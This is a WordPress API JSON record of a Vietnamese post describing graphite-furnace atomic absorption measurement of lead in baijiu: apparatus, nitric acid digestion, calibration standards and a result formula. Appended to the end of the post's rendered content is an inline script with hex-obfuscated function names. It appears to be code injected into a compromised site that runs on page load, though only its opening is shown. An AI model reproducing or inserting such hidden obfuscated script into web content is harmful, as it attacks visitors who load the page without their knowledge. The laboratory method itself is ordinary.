{"id":3708,"date":"2025-07-10T14:49:45","date_gmt":"2025-07-10T06:49:45","guid":{"rendered":"https:\/\/www.pgeneral.com\/?p=3708"},"modified":"2025-07-10T14:49:45","modified_gmt":"2025-07-10T06:49:45","slug":"determination-of-lead-in-baijiu-graphite-furnace-atomic-absorption-spectrometry","status":"publish","type":"post","link":"https:\/\/www.pgeneral.com\/vi\/ung-dung\/determination-of-lead-in-baijiu-graphite-furnace-atomic-absorption-spectrometry\/","title":{"rendered":"X\u00e1c \u0111\u1ecbnh ch\u00ec \u1edf Baijiu (quang ph\u1ed5 h\u1ea5p th\u1ee5 nguy\u00ean t\u1eed l\u00f2 Graphite)"},"content":{"rendered":"<ol>\n<li>T\u1ed5ng quan ph\u01b0\u01a1ng ph\u00e1p<\/li>\n<\/ol>\n<p>Sau khi ti\u00eau h\u00f3a, m\u1eabu \u0111\u01b0\u1ee3c nguy\u00ean t\u1eed h\u00f3a trong l\u00f2 graphite v\u00e0 \u0111\u1ed9 h\u1ea5p th\u1ee5 \u0111\u01b0\u1ee3c \u0111o \u1edf 283,3 nm. Trong m\u1ed9t ph\u1ea1m vi n\u1ed3ng \u0111\u1ed9 nh\u1ea5t \u0111\u1ecbnh, \u0111\u1ed9 h\u1ea5p th\u1ee5 ch\u00ec t\u1ef7 l\u1ec7 v\u1edbi h\u00e0m l\u01b0\u1ee3ng c\u1ee7a n\u00f3, v\u00e0 ph\u00e2n t\u00edch \u0111\u1ecbnh l\u01b0\u1ee3ng \u0111\u01b0\u1ee3c th\u1ef1c hi\u1ec7n b\u1eb1ng c\u00e1ch so s\u00e1nh v\u1edbi m\u1ed9t lo\u1ea1t ti\u00eau chu\u1ea9n.<\/p>\n<ol start=\"2\">\n<li>2. D\u1ee5ng c\u1ee5 v\u00e0 thu\u1ed1c th\u1eed<\/li>\n<\/ol>\n<p>2.1 D\u1ee5ng c\u1ee5 v\u00e0 thi\u1ebft b\u1ecb<\/p>\n<p>2.1.1 D\u1ee5ng c\u1ee5 ph\u00e1t hi\u1ec7n<\/p>\n<p>L\u00f2 h\u1ea5p th\u1ee5 nguy\u00ean t\u1eed Graphite (\u0110\u00e8n cathode r\u1ed7ng ch\u00ec)<\/p>\n<p>H\u1ec7 th\u1ed1ng n\u01b0\u1edbc tu\u1ea7n ho\u00e0n l\u00e0m m\u00e1t (d\u00f2ng ch\u1ea3y \u0111\u00e1nh gi\u00e1 m\u00e1y b\u01a1m: 3,5 L \/ ph\u00fat)<\/p>\n<p>Kh\u00ed argon (\u0110\u1ed9 tinh khi\u1ebft \u226599,99%)<\/p>\n<p>2.1.2 Thi\u1ebft b\u1ecb x\u1eed l\u00fd tr\u01b0\u1edbc<\/p>\n<p>Micropipettes 1 m\u1ed7i 100\u03bcL ~ 1000\u03bcL, 1000\u03bcL ~ 5000\u03bcL, 5 ~ 50\u03bcL<\/p>\n<p>L\u1ecd kh\u1ed1i l\u01b0\u1ee3ng M\u1ed9t s\u1ed1 10 mL, 100 mL<\/p>\n<p>T\u1ea5m n\u00f3ng \u0111i\u1ec7n c\u00f3 th\u1ec3 \u0111i\u1ec1u ch\u1ec9nh Nhi\u1ec7t \u0111\u1ed9 \u0111\u1ecbnh m\u1ee9c: Nhi\u1ec7t \u0111\u1ed9 ph\u00f2ng ~ 300 \u2103<\/p>\n<p>\u0110\u1ed9 nh\u1ea1y c\u1ea3m c\u00e2n b\u1eb1ng ph\u00e2n t\u00edch: 1 mg v\u00e0 0,1 mg<\/p>\n<p>Xem k\u00ednh m\u1ed9t s\u1ed1<\/p>\n<p>Th\u00f9ng Erlenmeyer 150ml<\/p>\n<p>2.2 Ph\u1ea3n \u1ee9ng<\/p>\n<p>2.2.1 Thu\u1ed1c ph\u1ea3n \u1ee9ng<\/p>\n<p>Axit nitric (l\u1edbp MOS)<\/p>\n<ol start=\"3\">\n<li>3. Th\u1ee7 t\u1ee5c ho\u1ea1t \u0111\u1ed9ng<\/li>\n<\/ol>\n<p>3.1 \u0110i\u1ec1u tr\u1ecb m\u1eabu<\/p>\n<p>3.1.1 Chu\u1ea9n b\u1ecb gi\u1ea3i ph\u00e1p th\u1eed nghi\u1ec7m<\/p>\n<p>Tr\u1ecdng l\u01b0\u1ee3ng ch\u00ednh x\u00e1c 1 ~ 2 g m\u1eabu (ch\u00ednh x\u00e1c \u0111\u1ebfn 0,001 g) v\u00e0o m\u1ed9t b\u00ecnh Erlenmeyer, bay h\u01a1i \u0111\u1ebfn \u0111\u1ed9 kh\u00f4 tr\u00ean t\u1ea5m n\u00f3ng \u0111i\u1ec7n, th\u00eam 10 ml axit nitric v\u00e0 ti\u00eau h\u00f3a tr\u00ean t\u1ea5m n\u00f3ng (\u0111i\u1ec1u ki\u1ec7n tham kh\u1ea3o: 80 \u00b0 C \/ 1 gi\u1edd, 120 \u00b0 C \/ 1 gi\u1edd, 140 \u00b0 C \/ 2 gi\u1edd, 160 \u00b0 C \/ 2 gi\u1edd, l\u00e0m n\u00f3ng l\u00ean \u0111\u1ebfn 180 \u00b0 C). N\u1ebfu dung d\u1ecbch c\u00f3 m\u00e0u n\u00e2u, th\u00eam axit nitric v\u00e0 ti\u00eau h\u00f3a cho \u0111\u1ebfn khi kh\u00f3i tr\u1eafng ph\u00e1t ra. Gi\u1ea3i ph\u00e1p n\u00ean kh\u00f4ng m\u00e0u, trong su\u1ed1t ho\u1eb7c h\u01a1i v\u00e0ng. Sau khi l\u00e0m m\u00e1t, pha lo\u00e3ng \u0111\u1ebfn 10 mL trong m\u1ed9t b\u00ecnh kh\u1ed1i l\u01b0\u1ee3ng v\u1edbi n\u01b0\u1edbc, v\u00e0 chu\u1ea9n b\u1ecb m\u1ed9t thu\u1ed1c th\u1eed tr\u1ed1ng \u0111\u1ed3ng th\u1eddi.<\/p>\n<p>3.1.2 Chu\u1ea9n b\u1ecb c\u00e1c gi\u1ea3i ph\u00e1p ti\u00eau chu\u1ea9n<\/p>\n<p>1) Chu\u1ea9n b\u1ecb gi\u1ea3i ph\u00e1p trung gian ti\u00eau chu\u1ea9n ch\u00ec (1,0 \u03bcg \/ mL):<\/p>\n<p>B\u01a1m ch\u00ednh x\u00e1c 0,1 mL dung d\u1ecbch ti\u00eau chu\u1ea9n qu\u1ed1c gia ch\u00ec v\u00e0o m\u1ed9t b\u00ecnh kh\u1ed1i l\u01b0\u1ee3ng 100 mL, v\u00e0 pha lo\u00e3ng \u0111\u1ebfn nh\u00e3n b\u1eb1ng dung d\u1ecbch axit nitric (1 99) \u0111\u1ec3 c\u00f3 \u0111\u01b0\u1ee3c dung d\u1ecbch trung gian ti\u00eau chu\u1ea9n ch\u00ec \u1edf 1,0 \u03bcg \/ mL.<\/p>\n<ul>\n<li>Chu\u1ea9n b\u1ecb chu\u1ea9n ti\u00eau chu\u1ea9n ch\u00ec:<\/li>\n<\/ul>\n<p>Pipet 0,0, 0,5, 1,0, 2,0, 3,0 mL dung d\u1ecbch trung gian ti\u00eau chu\u1ea9n ch\u00ec (1,0 \u03bcg \/ mL) v\u00e0o b\u00ecnh kh\u1ed1i l\u01b0\u1ee3ng 100 mL, t\u01b0\u01a1ng \u1ee9ng, v\u00e0 pha lo\u00e3ng \u0111\u1ebfn d\u1ea5u hi\u1ec7u v\u1edbi axit nitric (1 99) \u0111\u1ec3 c\u00f3 \u0111\u01b0\u1ee3c chu\u1ed7i ti\u00eau chu\u1ea9n ch\u00ec 0,0, 5,0, 10,0, 20,0, 30,0 ng \/ mL.<\/p>\n<p>3.2 Ki\u1ec3m tra m\u1eabu<\/p>\n<p>1) \u0110i\u1ec1u ki\u1ec7n ki\u1ec3m tra<\/p>\n<p>\u0110i\u1ec1u ki\u1ec7n tham kh\u1ea3o cho quang ph\u1ed5 h\u1ea5p th\u1ee5 nguy\u00ean t\u1eed l\u00f2 graphite:<\/p>\n<p>B\u01b0\u1edbc s\u00f3ng 283,3 nm<\/p>\n<p>B\u0103ng th\u00f4ng quang 0,4 nm<\/p>\n<p>\u0110\u00e8n nguy\u00ean t\u1ed1 hi\u1ec7n t\u1ea1i 2,0 mA<\/p>\n<p>Ph\u01b0\u01a1ng ph\u00e1p s\u1eeda ch\u1eefa n\u1ec1n \u0110\u00e8n Deuterium<\/p>\n<p>Kh\u1ed1i l\u01b0\u1ee3ng ti\u00eam 15 \u03bcL<\/p>\n<ul>\n<li>Ki\u1ec3m tra m\u1eabu<\/li>\n<\/ul>\n<p>\u0110o \u0111\u1ed9 h\u1ea5p th\u1ee5 c\u1ee7a c\u00e1c gi\u1ea3i ph\u00e1p ti\u00eau chu\u1ea9n, gi\u1ea3i ph\u00e1p th\u1eed nghi\u1ec7m tr\u1ed1ng v\u00e0 gi\u1ea3i ph\u00e1p th\u1eed nghi\u1ec7m theo th\u1ee9 t\u1ef1. Tr\u1eeb \u0111\u1ed9 h\u1ea5p th\u1ee5 c\u1ee7a gi\u1ea3i ph\u00e1p ti\u00eau chu\u1ea9n kh\u00f4ng kh\u1ecfi \u0111\u1ed9 h\u1ea5p th\u1ee5 c\u1ee7a m\u1ed7i gi\u1ea3i ph\u00e1p ti\u00eau chu\u1ea9n, v\u1ebd m\u1ed9t \u0111\u01b0\u1eddng cong l\u00e0m vi\u1ec7c v\u1edbi n\u1ed3ng \u0111\u1ed9 kh\u1ed1i l\u01b0\u1ee3ng l\u00e0 abscissa v\u00e0 \u0111\u1ed9 h\u1ea5p th\u1ee5 t\u01b0\u01a1ng \u1ee9ng l\u00e0 t\u1ecda \u0111\u1ed9. X\u00e1c \u0111\u1ecbnh n\u1ed3ng \u0111\u1ed9 kh\u1ed1i l\u01b0\u1ee3ng ch\u00ec trong dung d\u1ecbch th\u1eed nghi\u1ec7m t\u1eeb \u0111\u01b0\u1eddng cong l\u00e0m vi\u1ec7c d\u1ef1a tr\u00ean \u0111\u1ed9 h\u1ea5p th\u1ee5 \u0111\u01b0\u1ee3c \u0111o c\u1ee7a n\u00f3.<\/p>\n<p>3.3 T\u00ednh to\u00e1n k\u1ebft qu\u1ea3<\/p>\n<p><img decoding=\"async\" class=\"alignnone  wp-image-3709\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/07\/\u56fe\u72472-300x118.png\" alt=\"\" width=\"188\" height=\"74\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/07\/\u56fe\u72472-300x118.png 300w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/07\/\u56fe\u72472-18x7.png 18w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/07\/\u56fe\u72472.png 408w\" sizes=\"(max-width: 188px) 100vw, 188px\" \/><\/p>\n<p>\u1ede \u0111\u00e2u:<\/p>\n<p>X: H\u00e0m l\u01b0\u1ee3ng ch\u00ec trong m\u1eabu, b\u1eb1ng miligram m\u1ed7i kilogram (mg \/ kg);<\/p>\n<p>\u03c1: N\u1ed3ng \u0111\u1ed9 kh\u1ed1i l\u01b0\u1ee3ng ch\u00ec trong dung d\u1ecbch m\u1eabu, b\u1eb1ng nanogram m\u1ed7i milil\u00edt (ng \/ mL);<\/p>\n<p>\u03c10: N\u1ed3ng \u0111\u1ed9 kh\u1ed1i l\u01b0\u1ee3ng ch\u00ec trong dung d\u1ecbch tr\u1ed1ng, b\u1eb1ng nanogram m\u1ed7i milil\u00edt (ng \/ mL);<\/p>\n<p>V: Kh\u1ed1i l\u01b0\u1ee3ng dung d\u1ecbch ti\u00eau h\u00f3a m\u1eabu sau kh\u1ed1i l\u01b0\u1ee3ng kh\u00f4ng \u0111\u1ed5i, b\u1eb1ng milil\u00edt (mL);<\/p>\n<p>m: Tr\u1ecdng l\u01b0\u1ee3ng m\u1eabu, b\u1eb1ng gram (g);<\/p>\n<p>1000: H\u1ec7 s\u1ed1 chuy\u1ec3n \u0111\u1ed5i.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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ti\u00eau h\u00f3a, m\u1eabu \u0111\u01b0\u1ee3c nguy\u00ean t\u1eed h\u00f3a trong l\u00f2 graphite v\u00e0 \u0111\u1ed9 h\u1ea5p th\u1ee5 \u0111\u01b0\u1ee3c \u0111o \u1edf 283,3 nm. Trong m\u1ed9t ph\u1ea1m vi n\u1ed3ng \u0111\u1ed9 nh\u1ea5t \u0111\u1ecbnh, \u0111\u1ed9 h\u1ea5p th\u1ee5 ch\u00ec t\u1ef7 l\u1ec7 v\u1edbi h\u00e0m l\u01b0\u1ee3ng c\u1ee7a n\u00f3, v\u00e0 ph\u00e2n t\u00edch \u0111\u1ecbnh l\u01b0\u1ee3ng \u0111\u01b0\u1ee3c th\u1ef1c hi\u1ec7n b\u1eb1ng c\u00e1ch so s\u00e1nh v\u1edbi m\u1ed9t lo\u1ea1t ti\u00eau chu\u1ea9n.  2. D\u1ee5ng c\u1ee5 v\u00e0 thu\u1ed1c ph\u1ea3n \u1ee9ng 2.1 D\u1ee5ng c\u1ee5 v\u00e0 thi\u1ebft b\u1ecb 2.1.1 Ph\u00e1t hi\u1ec7n [&hellip;]<\/p>","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[36,73],"tags":[],"class_list":["post-3708","post","type-post","status-publish","format-standard","hentry","category-applications","category-food-and-drugs"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/posts\/3708","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/comments?post=3708"}],"version-history":[{"count":0,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/posts\/3708\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/media?parent=3708"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/categories?post=3708"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/tags?post=3708"}],"curies":[{"name":"WP","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}